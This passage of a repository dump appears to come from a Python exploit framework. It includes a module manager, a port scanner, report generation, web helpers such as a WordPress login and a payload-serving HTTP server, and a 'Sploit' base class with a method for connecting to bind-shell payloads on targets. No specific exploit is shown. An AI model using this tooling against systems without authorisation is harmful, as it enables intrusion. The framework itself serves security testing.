res.extend(formatted_lines[3:])\n                msg = '\\r\\n'.join(res)\n                print(msg)\n\n    def get_modules_info(self, names):\n        \"\"\"Gets info about given modules\n        :param names: (List of strings) Paths to modules\n        :return: (Dict)Key=>Path to module, Value=>'INFO' dict of imported module\n        \"\"\"\n        res = []\n        for name in names:\n            info = self.get_module_info(name)\n            if info:\n                res.append(info)\n        res = make_tree(res)\n        return res\n\n    def get_module_info(self, name):\n        module = self.import_from_uri(name[0])\n        if hasattr(module, 'INFO'):\n            if type(module.INFO.get('LINKS')) is not list:\n                module.INFO['LINKS'] = [module.INFO.get('LINKS', '')]\n            module.INFO[\"NAME\"] = name[1]\n            return module.INFO\n        return None\n\n    def get_changed_options(self, module_name):\n        options = self.running_modules[module_name].options\n        options['listener'] = self.running_modules[module_name].listener_options\n        return options\n\n    def get_available_options_for_module(self, module_name):\n        module = self.import_from_uri(module_name)\n        if hasattr(module, 'OPTIONS'):\n            return module.OPTIONS\n        else:\n            return {}\n\n    def get_module_inst_by_name(self, module_name):\n        return self.running_modules.get(module_name)\n\n    def make_unique_name(self, module_name, suffix=1):\n        if module_name not in self.running_modules:\n            return module_name\n        name = \"%s(%s)\" % (module_name, suffix)\n        if name in self.running_modules:\n            suffix += 1\n            return self.make_unique_name(module_name, suffix)\n        else:\n            return name\n\n    def get_busy_ports_list(self):\n        \"\"\"Gets ports with status 2\"\"\"\n        res = [int(module.listener_options.get(\"PORT\"))\n               for module_name, module\n               in self.running_modules.iteritems()\n               if module.is_shell_connected != 2 and module.listener_options.get(\"PORT\")]\n        return res\n\n\ndef get_modules_names_dict(path_to_files):\n    \"\"\"Get list of .py files names in directory\"\"\"\n    files = os.listdir(path_to_files)\n    res = {}\n    for filename in files:\n        if filename.endswith(\".py\"):\n            res[filename[:-3]] = os.path.join(path_to_files, filename)\n    return res\n\n\ndef _attach(branch, module, trunk):\n    \"\"\"\n    Insert a branch of directories on its trunk.\n    \"\"\"\n    parts = branch.split('/', 1)\n    if len(parts) == 1:  # branch is a file\n        module[\"isFile\"] = True\n        trunk.append(module)\n    else:\n        node, others = parts\n        node = node.capitalize()\n        node_obj = dict(NAME=node, DESCRIPTION=node, isFile=False)\n        res, index = is_module_in_trunk(trunk, node)\n        if res:\n            _attach(others, module, trunk[index][\"children\"])\n        else:\n            node_obj[\"children\"] = []\n            trunk.append(node_obj)\n            _attach(others, module, node_obj[\"children\"])\n\n\ndef make_tree(modules):\n    main_dict = []\n    for module in modules:\n        if \"PATH\" in module:\n            _attach(module[\"PATH\"]+module[\"NAME\"], module, main_dict)\n        else:\n            _attach(module[\"NAME\"], module, main_dict)\n    return main_dict\n\n\ndef is_module_in_trunk(trunk, name):\n    index = 0\n    for index, module in enumerate(trunk):\n        if module[\"NAME\"] == name:\n            return True, index\n    return False, index\n"
  },
  {
    "path": "core/OptionsParser.py",
    "content": "from collections import OrderedDict\n\nclass OptionsParser:\n    def __init__(self):\n        pass\n\n    def parse_data(self, data):\n        res = {}\n        for entry in data:\n            if entry['value']['type'] == 'int':\n                if 'value' in entry['value'] and entry['value']['value']:\n                    res[entry['option']] = int(entry['value']['value'])\n            elif entry['value']['type'] == 'list':\n                res[entry['option']] = entry['value']['selected']\n            elif entry['value']['type'] == 'bool':\n                res[entry['option']] = entry['value']['value']\n            else:\n                if 'value' in entry['value'] and entry['value']['value']:\n                    res[entry['option']] = entry['value']['value']\n        return res\n\n    def prepare_options(self, options):\n        res = OrderedDict()\n        for option in options:\n            value = options[option]\n            ext_options = {}\n            # check for extended options\n            if type(value) is tuple:\n                if len(value) > 1 and type(value[1] is dict):\n                    ext_options = value[1]\n                value = value[0]\n            if type(value) is int:\n                res[option] = dict(type=\"int\", value=value)\n            elif type(value) is bool:\n                res[option] = dict(type=\"bool\", value=value)\n            elif type(value) is dict:\n                res[option] = value\n                res[option][\"type\"] = \"list\"\n            else:\n                res[option] = dict(type=\"string\", value=value)\n            res[option].update(ext_options)\n        return res\n"
  },
  {
    "path": "core/PortScannerMT.py",
    "content": "from __future__ import print_function\nimport socket\nimport sys\nimport threading\nimport Queue\n\n\nclass ScannerThread(threading.Thread):\n    def __init__(self, inq, outq):\n        threading.Thread.__init__(self)\n        # queues for (host, port)\n        self.setDaemon(True)\n        self.inq = inq\n        self.outq = outq\n        self.killed = False\n\n    def run(self):\n        while not self.killed:\n            host, port = self.inq.get()\n            sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            try:\n                # connect to the given host:port\n                sd.connect((host, port))\n            except socket.error:\n                # set the CLOSED flag\n                self.outq.put((host, port, 'CLOSED'))\n            else:\n                self.outq.put((host, port, 'OPEN'))\n                sd.close()\n\n\nclass Scanner:\n    def __init__(self, from_port, to_port, host='localhost'):\n        \"\"\"\n        Used for scanning ports\n        @param from_port(int): Beginning to scan from this port\n        @param to_port(int): Ending scan with this port\n        @param host(string): Host address\n        \"\"\"\n        self.from_port = from_port\n        self.to_port = to_port\n        self.host = host\n        self.scanners = []\n        self.resp = []\n\n    def check_port_state(self, port):\n        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            sd.connect(('127.0.0.1', int(port)))\n            sd.close()\n            return True\n        except socket.error:\n            sd.close()\n            return False\n\n\n    def scan(self, search_for='opened',first_match=False, nthreads=1, send_fn=None, exclude=[]):\n        \"\"\"\n        @param search_for(string): Search for 'opened', 'closed' or 'all' ports\n        @param first_match(bool): If True returns only first scan result and stoping scanning\n        @param nthreads(int): Number of threads\n        @param send_fn(function): Callback to send results data\n        @param exclude(list(int)): Ports not to be to scanned\n        @return(list): list of tuples(host, port, status)\n        \"\"\"\n        self.resp = []\n        if self.from_port>self.to_port:\n            print (\"'from port' must be smaller than 'to port'\")\n            return\n        toscan = Queue.Queue()\n        scanned = Queue.Queue()\n\n        self.scanners = [ScannerThread(toscan, scanned) for i in range(nthreads)]\n        for scanner in self.scanners:\n            scanner.start()\n\n        hostports = [(self.host, port) for port in xrange(self.from_port, self.to_port+1) if port not in exclude]\n        for hostport in hostports:\n            toscan.put(hostport)\n\n        results = {}\n        for host, port in hostports:\n            while (host, port) not in results:\n                nhost, nport, nstatus = scanned.get()\n                results[(nhost, nport)] = nstatus\n            status = results[(host, port)]\n            value = (host, port, status)\n            if status == 'OPEN' and search_for.lower() == 'opened':\n                self.resp.append(value)\n                if send_fn:\n                    send_fn(value)\n                if first_match:\n                    return self._finish_scan()\n                continue\n            elif status == 'CLOSED' and search_for.lower() == 'closed':\n                self.resp.append(value)\n                if send_fn:\n                    send_fn(value)\n                if first_match:\n                    return self._finish_scan()\n            elif search_for.lower() == 'all':\n                self.resp.append(value)\n                if send_fn:\n                    send_fn(value)\n                if first_match:\n                    return self._finish_scan()\n        return self._finish_scan()\n\n    def _finish_scan(self):\n        for scanner in self.scanners:\n            scanner.join(0.001)\n            scanner.killed = True\n        return self.resp\n\nif __name__ == '__main__':\n    callback = lambda x: print(x)\n    scanner = Scanner(5000, 6000, \"localhost\")\n    scanner.scan(search_for='closed', first_match=False, nthreads=100, send_fn=callback)\n"
  },
  {
    "path": "core/ReportGenerator.py",
    "content": "import os\nimport time\nclass ReportGenerator:\n    def __init__(self):\n        self.path_to_templates = os.getcwd() + \"/data/report_templates/\"\n        self.start_date_time = time.strftime(\"%d %b %Y %H-%M-%S\")\n        self.succeeded_count = 0\n        self.failed_count = 0\n        self.categories = {}\n        self.report_name = self.generate_report()\n\n    def _generate_content(self, module):\n        content = self.read_file_content(self.path_to_templates + \"row_template.html\")\n\n        options = \"\"\n        listener = \"\"\n        if module[\"OPTIONS\"]:\n            options += \"<div class=\\\"entry\\\">Module options:</div>\"\n            for option, value in module[\"OPTIONS\"].iteritems():\n                if option == \"listener\":\n                    listener += \"<div class=\\\"entry\\\">Listener enabled with options:</div>\"\n                    for l_option, l_value in module[\"OPTIONS\"][\"listener\"].iteritems():\n                        listener += \"{option}: {value}\".format(option=l_option, value=l_value)\n                    listener += \"<br>\"\n                    continue\n                options += \"{option}: {value}\".format(option=option, value=value)\n                options += \"<br>\"\n\n\n        content = content.format(MODULE_NAME=str(module[\"NAME\"]),\n                       DESCRIPTION=str(module[\"DESCRIPTION\"]),\n                       NOTES=str(module[\"NOTES\"]),\n                       LOG=(\"<br>\".join(m.time + \":\" + m.message for m in module[\"LOG\"])).encode('utf-8'),\n                       IS_SHELL_CONNECTED=str(module[\"IS_SHELL_CONNECTED\"]),\n                       CVE=str(module[\"CVE\"]),\n                       CLASS=\"succeeded\" if module[\"RESULT\"] else \"failed\",\n                       IS_SUCCESS=\"Succeeded\" if module[\"RESULT\"] else \"Failed\",\n                       OPTIONS=str(options),\n                       LISTENER=str(listener))\n\n        if module[\"RESULT\"]:\n            self.succeeded_count += 1\n        else:\n            self.failed_count += 1\n        category = module[\"PATH\"].replace(\"/\", \"\").capitalize()\n        if category in self.categories:\n            self.categories[category].append(content)\n        else:\n            self.categories[category] = [content]\n\n    def append_module(self, module):\n        self._generate_content(module)\n        self._rewrite_report()\n\n    def generate_report(self):\n        path = os.getcwd() + \"/Reports\"\n        if not os.path.exists(path):\n            os.mkdir(path)\n        name = path + \"/\" + self.start_date_time + \".html\"\n        with open(name, \"w\") as f:\n            f.write(\"\")\n        return name\n\n    def read_file_content(self, filename):\n        content = \"\"\n        with open(filename, 'r') as f:\n            content = f.read()\n        return content\n\n    def _rewrite_report(self):\n        contents= \"\"\n        index = 1\n        for category_name in self.categories:\n            contents += \"<div class='categoryName'>{}.) <a href='#{}'>{}</a></div>\".format(index, category_name.lower(), category_name)\n            index += 1\n        contents += \"<br>\"\n        for category_name, category in self.categories.iteritems():\n            contents += \"<div id='\"+ category_name.lower()+\"'><div class='categoryName'>\"+ category_name + \"(\" + str(len(category)) + \")\" + \"</div>\"\n            contents += \"\\n\".join(category)\n            contents += \"</div>\"\n        common = self.read_file_content(self.path_to_templates + \"common.html\")\n        with open(self.report_name, 'w') as f:\n            f.write(common % (self.start_date_time, self.succeeded_count, self.failed_count, contents))\n"
  },
  {
    "path": "core/ServiceMessagesHandler.py",
    "content": "from itertools import groupby\n\nclass ServiceMessageLevel:\n    DEBUG = 1\n    INFO = 2\n    WARNING = 3\n    ERROR = 4\n\n\nclass ServiceMessageType:\n    IMPORT = 1\n    UPDATES = 2\n\n\nclass ServiceMessage:\n    def __init__(self, message, message_type, level, **kwargs):\n        self.message = message\n        self.message_type = message_type\n        self.level = level\n        self.module_to_import = kwargs.get('module_to_import')\n        self.module_with_unknown_import = kwargs.get('module_with_unknown_import')\n\n    def serialize(self):\n        return self.__dict__\n\n\nclass ServiceMessagesHandler:\n    def __init__(self):\n        self.messages = []\n\n    def reset(self):\n        self.messages = []\n\n    def remove_import_error(self, library_name):\n        self.messages = filter(lambda x: x.module_to_import != library_name, self.messages)\n\n    def get_grouped(self):\n        from collections import defaultdict\n        messages = []\n        messages_by_import = defaultdict(list)\n        for message in self.messages:\n            if message.message_type == ServiceMessageType.IMPORT:\n                messages_by_import[message.module_to_import].append((message.module_with_unknown_import))\n            else:\n                messages.append(message.serialize())\n        map_fn = lambda x: dict(message='Modules %s require python module %s' % (', '.join(x[1]), x[0]),\n                                message_type=ServiceMessageType.IMPORT,\n                                module_to_import=x[0],\n                                level=ServiceMessageLevel.ERROR,\n                                installed=False\n                                )\n        messages_by_import = map(map_fn, messages_by_import.items())\n        return messages + messages_by_import\n\n    def serialize(self):\n        return [message.serialize() for message in self.messages]\n\n    def add_message(self, message, message_type=ServiceMessageType.IMPORT, level=ServiceMessageLevel.ERROR, **kwargs):\n        msg = ServiceMessage(message, message_type, level, **kwargs)\n        if msg.serialize() in self.serialize():\n            return\n        self.messages.append(ServiceMessage(message, message_type, level, **kwargs))\n\n    def get_messages(self, message_type=None, level=None):\n        msgs = filter(lambda item: (item.message_type == message_type if message_type else True)\n                                   and (item.level == level if level else True), self.messages)\n        return [msg.serialize() for msg in msgs]\n"
  },
  {
    "path": "core/Sploit.py",
    "content": "﻿#!/usr/bin/env python\nimport sys\nimport traceback\nimport time\nimport os\nimport json\nimport logging\nimport socket\nimport base64\nfrom random import choice\nfrom string import ascii_letters\nfrom string import digits\nfrom websocket import create_connection\nsys.path.append(\"./../core\")\nfrom Commands import APIClient\n\n\nPORT = 49999\nHOST = \"127.0.0.1\"\n\n\n# simple common exception handler for method run\ndef _deco(self, func):\n    def wrapper():\n        try:\n            res = func()\n        except Exception as e:\n            exc_type, exc_value, exc_traceback = sys.exc_info()\n            self.log(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n            self.finish(False)\n            # res = None\n            # self.logger.exception(e)\n            # self.log(e)\n            # self.finish(False)\n        return res\n    return wrapper\n\n\nclass Sploit:\n    \"\"\"\n        This is the base class for all exploits in the tool.\n    \"\"\"\n    def __init__(self, logfile=\"\", debugfile=\"\", logger=None, options={}):\n        # Logger will need in the future to log to file\n        \"\"\"\n            Initialization routines.\n        \"\"\"\n        # Module name\n        self.name = \"\"\n        self.__module_name = sys.argv[-1]\n        # PID of running module\n        self.pid = os.getpid()\n        self.logger = logging.getLogger()\n        self.logger.setLevel(logging.INFO)\n        formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')\n        fh = logging.FileHandler('Logs/exploits.log')\n        fh.setLevel(logging.INFO)\n        fh.setFormatter(formatter)\n        self.logger.addHandler(fh)\n        self.connection = create_connection(\"ws://%s:%s\" % (HOST, PORT),\n                                            sockopt=((socket.IPPROTO_TCP, socket.TCP_NODELAY, 1),))\n        self.API_COMMANDS_HANDLER = APIClient(self.connection)\n        self.hello()\n        self.run = _deco(self, self.run)\n        if bool(options):\n            self.create_args(options)\n\n    def create_args(self, options={}):\n        self.args = self.args(options)\n        for o in options:\n            var = o.lower().replace(\" \", \"_\")\n            var_val = self.args.get(o, options[o])\n            setattr(self, var, var_val)\n        return\n\n    def args(self, options={}):\n        \"\"\"\n            This function get required options from server.\n        \"\"\"\n        resp = self.API_COMMANDS_HANDLER.send_command('get_module_args', module_name=self.__module_name)\n        return resp\n\n    def get_listener_options(self):\n        \"\"\"\n        :return: Listener options from server\n        \"\"\"\n        resp = self.API_COMMANDS_HANDLER.send_command('get_listener_options', module_name=self.__module_name)\n        return resp\n\n    def check(self):\n        \"\"\"\n            This function is checking the response banner to verify that\n            target is vulnerable or not.\n        \"\"\"\n        return\n\n    def run(self):\n        \"\"\"\n            The main function that does all of the magic.\n            It returns 0 on failed and 1 on success.\n        \"\"\"\n        return\n\n    def logImage(self, image):\n        \"\"\"Sends image to GUI's log window\n        :param image: (Stream)\n        :return:\n        Usage:\n        1)    with open('example.jpg', 'rb') as f:\n                  image = f.read()\n                  self.log(image)\n        2)    image = urllib2.urlopen('http://blablabla/image.jpg').read()\n              self.log(image)\n        \"\"\"\n        image = base64.b64encode(image)\n        try:\n            self.send_message(image, msg_type=\"image\")\n        except Exception as e:\n            self.logger.exception(e)\n        return\n\n    def log(self, message='', inline=False, replace=False):\n        \"\"\"\n            This function provides necessary routines\n            for logging any results of the exploit.\n            :param message: Message to log\n            :param inline: Prints log inline\n            :param replace: Replace last log message\n        \"\"\"\n        try:\n            self.send_message(message, inline=inline, replace=replace)\n        except Exception as e:\n            self.logger.exception(e)\n            print e\n        return\n\n    def finish(self, is_successful):\n        \"\"\"\n        Finishes module execution\n        Args:\n            is_successful: (bool) If True - module succeeded, False - module failed\n        \"\"\"\n        if is_successful:\n            msg = \"Module %s was succeeded\" % self.name\n        else:\n            msg = \"Module %s was failed\" % self.name\n        self.send_message(msg, is_successful)\n        sys.exit()\n\n    def writefile(self, filedata, filename=\"\"):\n        \"\"\"\n        Save the result of the\n        exploit if the results are too large to print or if the aim\n        of the exploit is to steal some info or download the file.\n        Args:\n            filedata: (string) Contents of file\n            filename: (string) Filename\n        \"\"\"\n        dirname = \"./OUTPUTS/\" + self.name\n        if not filename:\n            filename = \"response_\" + time.strftime(\"%b_%d_ %Y_%H-%M-%S\", time.gmtime()) + \".html\"\n        if not os.path.exists(dirname):\n            try:\n                os.makedirs(dirname)\n            except Exception as e:\n                \"\"\"\n                ! The kind of error sould be\n                managed with respect to\n                os version or type...\n                \"\"\"\n                self.logger.error(\n                    \"An error has occured during creating the directory '%s' : <%s>\"\n                    % (dirname, str(sys.exc_info()[1]))\n                )\n                return 0\n        filepath = dirname + \"/\" + filename\n        fd = file(filepath, \"wb+\")\n        try:\n            fd.write(filedata)\n        except Exception:\n            self.logger.error(\"An error has occured during writing output : <%s>\" % (str(sys.exc_info()[1])))\n            return 0\n        fd.close()\n        self.log(\"wrote to %s\" % filepath)\n        return 1\n\n    def connect_to_remote_shell(self, target_ip, target_port):\n        \"\"\"\n        Use this method to connect to bind paylod\n        Args:\n            target_ip: IP address of target\n            target_port: PORT of bind payload\n        \"\"\"\n        import subprocess\n        from Commands import FW_ROOT_PATH\n        bind_shell_path = os.path.join(FW_ROOT_PATH, 'listener', 'bind_connector.py')\n        self.API_COMMANDS_HANDLER.send_command('add_listener_options', module_name=self.__module_name,\n                                               options=dict(HOST=target_ip, PORT=target_port))\n        listener_process = subprocess.Popen([sys.executable, bind_shell_path, self.__module_name], shell=False, env=os.environ.copy())\n        self.API_COMMANDS_HANDLER.send_command('add_listener_pid', module_name=self.__module_name, pid=listener_process.pid)\n\n\n    def send_message(self, message, is_successful=None, inline=False, replace=False, msg_type=\"text\"):\n        self.logger.debug(message)\n        self.API_COMMANDS_HANDLER.send_command('register_module_message', module_name=self.__module_name,\n                                               message=str(message), state=is_successful,\n                                               inline=inline, replace=replace, type=msg_type)\n        if is_successful is not None:\n            self.connection.close()\n\n    def is_listener_connected(self):\n        \"\"\"\n        Check listener state\n        :return: True - if shell is connected to listener\n                 False - if shell is not connected to listener\n                 None - if listener is not available\n        \"\"\"\n        time.sleep(1)  # for limiting requests\n        resp = self.API_COMMANDS_HANDLER.send_command('is_listener_connected', module_name=self.__module_name)\n        return resp.get('state')\n\n    def hello(self):\n        self.API_COMMANDS_HANDLER.hello(self.__module_name, 'module')\n\n    def random_string(self, size=6, chars=ascii_letters + digits):\n        # you can change chars to digits or specify your string value\n        return ''.join(choice(chars) for _ in range(size))\n\nif __name__ == \"__main__\":\n    s = Sploit()\n    s.log(\"123\")\n"
  },
  {
    "path": "core/WebHelper.py",
    "content": "import mimetypes\nimport os\nimport time\nimport cookielib\nimport urllib2\nimport urllib\nimport threading\nfrom BaseHTTPServer import HTTPServer\nfrom BaseHTTPServer import BaseHTTPRequestHandler\n\nimport shutil\n\n\nclass FormPoster:\n    def __init__(self):\n        self.BOUNDARY = '----------ThIs_Is_tHe_saLteD_bouNdaRY_$'\n        self.fields = []\n        self.files = []\n\n    def post(self, target, additional_headers={}):\n        \"\"\"\n        Post fields and files to an http target as multipart/form-data.\n        additional_headers can add new headers or overwrite existing.\n        Return the server's response page.\n        \"\"\"\n        request = urllib2.Request(target)\n        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0')\n        content_type, body = self._encode_multipart_formdata()\n        request.add_header('Content-Type', content_type)\n        request.add_header('Content-Length', str(len(body)))\n        if type(additional_headers) is dict:\n            for key in additional_headers:\n                request.add_header(key, additional_headers[key])\n        request.add_data(body)\n        return request\n\n    def _encode_multipart_formdata(self):\n        \"\"\"\n        fields is a sequence of (name, value) elements for regular form fields.\n        files is a sequence of (name, filename, value) elements for data to be uploaded as files\n        Return (content_type, body)\n        \"\"\"\n        CRLF = '\\r\\n'\n        L = []\n        for (key, value) in self.fields:\n            L.append('--' + self.BOUNDARY)\n            L.append('Content-Disposition: form-data; name=\"%s\"' % key)\n            L.append('')\n            L.append(value)\n        for (key, filename, value, content_type) in self.files:\n            L.append('--' + self.BOUNDARY)\n            L.append('Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"' % (key, filename))\n            if content_type:\n                L.append('Content-Type: %s' % content_type)\n            L.append('')\n            L.append(value)\n        L.append('--' + self.BOUNDARY + '--')\n        L.append('')\n        body = CRLF.join(L)\n        content_type = 'multipart/form-data; boundary=%s' % self.BOUNDARY\n        return content_type, body\n\n    def add_field(self, key, value):\n        self.fields.append((key, value))\n\n    def add_file(self, key, filename, file, is_path=True, content_type=''):\n        \"\"\"Add file entry to a form.\n        If 'is_path' - True 'file' must be path to file\n        If 'is_path' - False 'file' - is text content\n        \"\"\"\n        file = open(file, 'rb').read() if is_path else file\n        self.files.append((key, filename, file, content_type))\n\nclass NoRedirection(urllib2.HTTPErrorProcessor):\n    \"\"\" Creates no redirection handler\n    For example:\n    no_redir = NoRedirection()\n    print no_redir.open_http_address(\"http://habr.ru\").geturl()\n    \"\"\"\n\n    def http_response(self, request, response):\n        return response\n\n    def open_http_address(self, address):\n        cj = cookielib.CookieJar()\n        opener = urllib2.build_opener(NoRedirection, urllib2.HTTPCookieProcessor(cj))\n        response = opener.open(address)\n        return response\n\n    https_response = http_response\n\ndef wordpress_auth(host, username, password):\n    \"\"\"Returns opener and cookie\n        Example:\n             opener, cookie = wordpress_auth('http://www.wordpresssite.com', 'guest', 'guest')\n             res = opener.open('http://www.wordpresssite.com/wp-admin/profile.php')\n    \"\"\"\n    cookie = cookielib.CookieJar()\n    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1',\n        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n        'Accept-Language': 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',\n        'Accept-Encoding': 'gzip, deflate',\n        'Connection': 'keep-alive',\n        'DNT': '1'\n    }\n    payload = {\n        'log': username,\n        'pwd': password,\n        'wp-submit': 'Log+In',\n        'rememberme': 'forever',\n        'redirect_to': host+'wp-admin',\n        'testcookie': '1'\n    }\n    if host[-1] != '/' and host[-1] != '\\\\':\n        host += '/'\n    login_url = host + 'wp-login.php'\n    payload = urllib.urlencode(payload)\n\n    httpReq = urllib2.Request(login_url, payload, headers)\n    page = opener.open(httpReq)\n    return opener, cookie\n\n\nclass SimpleWebServerHandler(BaseHTTPRequestHandler):\n    CONTENT = \"\"\n    def do_GET(self):\n        self.send_response(200)\n        if 'admin.php' in self.path:\n            self.wfile.write(self.CONTENT)\n        self.wfile.write('')\n\n\nclass AdavancedHttpServerHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.path = os.path.normpath(self.path)\n        if self.path in self.server.files_for_share:\n            self.send_response(200)\n            local_file_path = self.server.files_for_share.get(self.path)\n            mime = mimetypes.guess_type(local_file_path)\n            if not mime:\n                mime = \"plain/text\"\n                # self.download_file(local_file_path)\n                # return\n            self.send_header('Content-Type', mime[0])\n            for header, value in self.server.custom_headers.items():\n                self.send_header(header, value)\n            self.end_headers()\n            with open(local_file_path, 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_error(404, \"File not found\")\n\n    def download_file(self, filename):\n        with open(filename, 'rb') as f:\n            self.send_response(200)\n            self.send_header(\"Content-Type\", 'application/octet-stream')\n            self.send_header(\"Content-Disposition\", 'attachment; filename=\"{}\"'.format(os.path.basename(filename)))\n            fs = os.fstat(f.fileno())\n            self.send_header(\"Content-Length\", str(fs.st_size))\n            self.end_headers()\n            shutil.copyfileobj(f, self.wfile)\n\n\nclass SimpleWebServer:\n    def __init__(self, host, port):\n        \"\"\"Simple http server. You can add local files to show them in web.\n        Example:\n            server = SimpleWebServer('localhost', 8080)\n            server.add_file_for_share(\"new1123.html\", \"<h1>HTML FILE TEST</h1>\")\n            server.add_folder_for_share(\"E:\\\\work\\\\EaST\")\n            server.add_header(\"CustomHeader\", \"CustomValue\")\n            server.start_serve()\n            time.sleep(10)\n            server.stop_serve() # Kill the server\n        \"\"\"\n        self.host = host\n        self.port = port\n        self.httpd = None\n        self.thread = None\n        self.temp_dir = \"\"\n        self.headers = {}\n        self.files = {}\n        self.create_temp_folder()\n\n    def set_headers(self, headers={}):\n        self.headers = headers\n\n    def add_header(self, key, value):\n        self.headers[key] = value\n\n    def create_temp_folder(self):\n        try:\n            self.temp_dir = os.path.join(os.getcwd(), \"tmp\", \"Webserver\"+time.strftime('%Y%m%d%H%M%S', time.gmtime()))\n            os.makedirs(self.temp_dir)\n        except Exception as e:\n            self.temp_dir = \"\"\n            print str(e)\n\n    def add_file_for_share(self, filename, content, server_path=''):\n        \"\"\"\n        Add local file for share it to the web\n        :param filename:(string) Filename\n        :param content:(string) File content\n        :param server_path:(string) '/' - means server root\n        \"\"\"\n        if server_path == \"/\" or server_path == \"\\\\\":\n            server_path = \"\"\n        if server_path.startswith(\"/\") or server_path.startswith(\"\\\\\"):\n            server_path = server_path[1:]\n        full_server_filepath = os.path.join(server_path, filename)\n        path = os.path.join(self.temp_dir, server_path)\n        if not os.path.exists(path):\n            os.makedirs(path)\n        with open(os.path.join(self.temp_dir, full_server_filepath), 'wb') as f:\n            f.write(content)\n        local_path = os.path.normpath(os.path.join(self.temp_dir, full_server_filepath))\n        full_server_filepath = os.path.normpath(\"/\" + full_server_filepath)\n        self.files[full_server_filepath] = local_path\n\n    def add_folder_for_share(self, local_path):\n        \"\"\"\n        Add all files from chosen folder and subfolders\n        :param local_path: (string) Local folder path\n        \"\"\"\n        local_path = os.path.normpath(local_path)\n        for path, dirs, files in os.walk(local_path):\n            for file in files:\n                local_file_path = os.path.join(path, file)\n                server_file_path = local_file_path.replace(local_path, '')\n                self.files[server_file_path] = local_file_path\n\n    def start_serve(self):\n        self.stop_serve()\n        try:\n            self.httpd = HTTPServer((self.host, self.port), AdavancedHttpServerHandler)\n            setattr(self.httpd, \"files_for_share\", self.files)\n            setattr(self.httpd, \"custom_headers\", self.headers)\n            self.thread = threading.Thread(target=self.httpd.serve_forever, args=())\n            self.thread.start()\n            return (True, \"OK\")\n        except Exception as e:\n            return (False, e)\n\n    def start_with_content(self, content):\n        self.stop_serve()\n        try:\n            self.httpd = HTTPServer((self.host, self.port), SimpleWebServerHandler)\n            SimpleWebServerHandler.CONTENT = content\n            self.thread = threading.Thread(target=self.httpd.serve_forever, args=())\n            self.thread.start()\n            return (True, \"OK\")\n        except Exception as e:\n            return (False, e)\n\n    def stop_serve(self):\n        if self.httpd:\n            self.httpd.shutdown()\n        if self.thread:\n            self.thread.join()\n\nif __name__ == '__main__':\n    pass\n"
  },
  {
    "path": "core/WebSocketServer.py",
    "content": "# -*- coding: UTF-8 -*-\nimport Queue\nimport asyncore\nimport errno\nimport json\nimport logging\nimport struct\nfrom StringIO import StringIO\nfrom base64 import b64encode\nfrom hashlib import sha1\nfrom mimetools import Message\nimport os\nimport signal\nimport socket\nfrom threading import Thread\n\nimport sys\n\nfrom Commands import Commands\n\nFIN = 0x80\nOPCODE = 0x0f\nMASKED = 0x80\nPAYLOAD_LEN = 0x7f\nPAYLOAD_LEN_EXT16 = 0x7e\nPAYLOAD_LEN_EXT64 = 0x7f\nOPCODE_TEXT = 0x01\nCLOSE_CONN = 0x8\n\n\nclass ClientTypes:\n    ui = \"ui\"\n    module = \"module\"\n    listener = \"listener\"\n\n\nclass WebSocketServer(asyncore.dispatcher):\n    \"\"\"Receives connections and establishes handlers for each client.\n    \"\"\"\n\n    def __init__(self, host, port, connections):\n        asyncore.dispatcher.__init__(self)\n        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.set_reuse_addr()\n        self.bind((host, port))\n        self.address = self.socket.getsockname()\n        self.listen(connections)\n        self.clients = {}\n        self.all_processes = []\n        self.command_handler = Commands(self)\n\n    def handle_accept(self):\n        # Called when a client connects to our socket\n        socket, details = self.accept()\n        self.clients[socket] = WebsocketHandler(sock=socket, server=self)\n\n    def handle_close(self):\n        self.close()\n\n    def add_process(self, pid):\n        self.all_processes.append(pid)\n\n    def remove_process(self, pid):\n        if pid in self.all_processes:\n            self.all_processes.remove(pid)\n            try:\n                os.kill(pid, signal.SIGTERM)\n            except:\n                pass\n\n    def kill_all_processes(self):\n        for client in self.clients.values():\n            client.close()\n        for pid in self.all_processes:\n            try:\n                os.kill(pid, signal.SIGTERM)\n            except:\n                pass\n        self.close()\n        sys.exit(1)\n\n    def get_client_by_name_and_type(self, name, client_type=ClientTypes.listener):\n        for client in self.clients.values():\n            if client.name == name and client.type == client_type:\n                return client\n        return None\n\n    def send_message_to_listener(self, name, message):\n        client = self.get_client_by_name_and_type(name)\n        if client:\n            client.send_message(message)\n\n    def send_message_to_all_uis(self, message):\n        ui_clients = [client for client in self.clients.values() if client.type == ClientTypes.ui]\n        for client in ui_clients:\n            client.send_message(message)\n\n\nclass WebsocketHandler(asyncore.dispatcher):\n    \"\"\"Handles echoing messages from a single client.\n    \"\"\"\n    magic = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'\n    def __init__(self, sock, server=None):\n        self.name = \"\"\n        self.type = \"\"\n        self.server = server\n        self.handshake_done = False\n        self.keep_alive = True\n        self.valid_client = False\n        self.data_to_write = Queue.Queue()\n        self.logger = logging.getLogger(__name__)\n        asyncore.dispatcher.__init__(self, sock=sock)\n        return\n\n    def writable(self):\n        \"\"\"Call handle_write only if data_to_write is not empty\"\"\"\n        return not self.data_to_write.empty()\n\n    def readable(self):\n        \"\"\"Call handle_read only if connection is keep_alive\"\"\"\n        return self.keep_alive\n\n    def handle_write(self):\n        \"\"\"Write as much as possible of the most recent message we have received.\"\"\"\n        data = self.data_to_write.get()\n        self.send(data)\n\n    def send_message(self, message):\n        message = json_encode(message)\n        self.data_to_write.put(chr(129))\n        length = len(message)\n        if length <= 125:\n            self.data_to_write.put(chr(length))\n        elif 126 <= length <= 65535:\n            self.data_to_write.put(chr(126))\n            self.data_to_write.put(struct.pack(\">H\", length))\n        else:\n            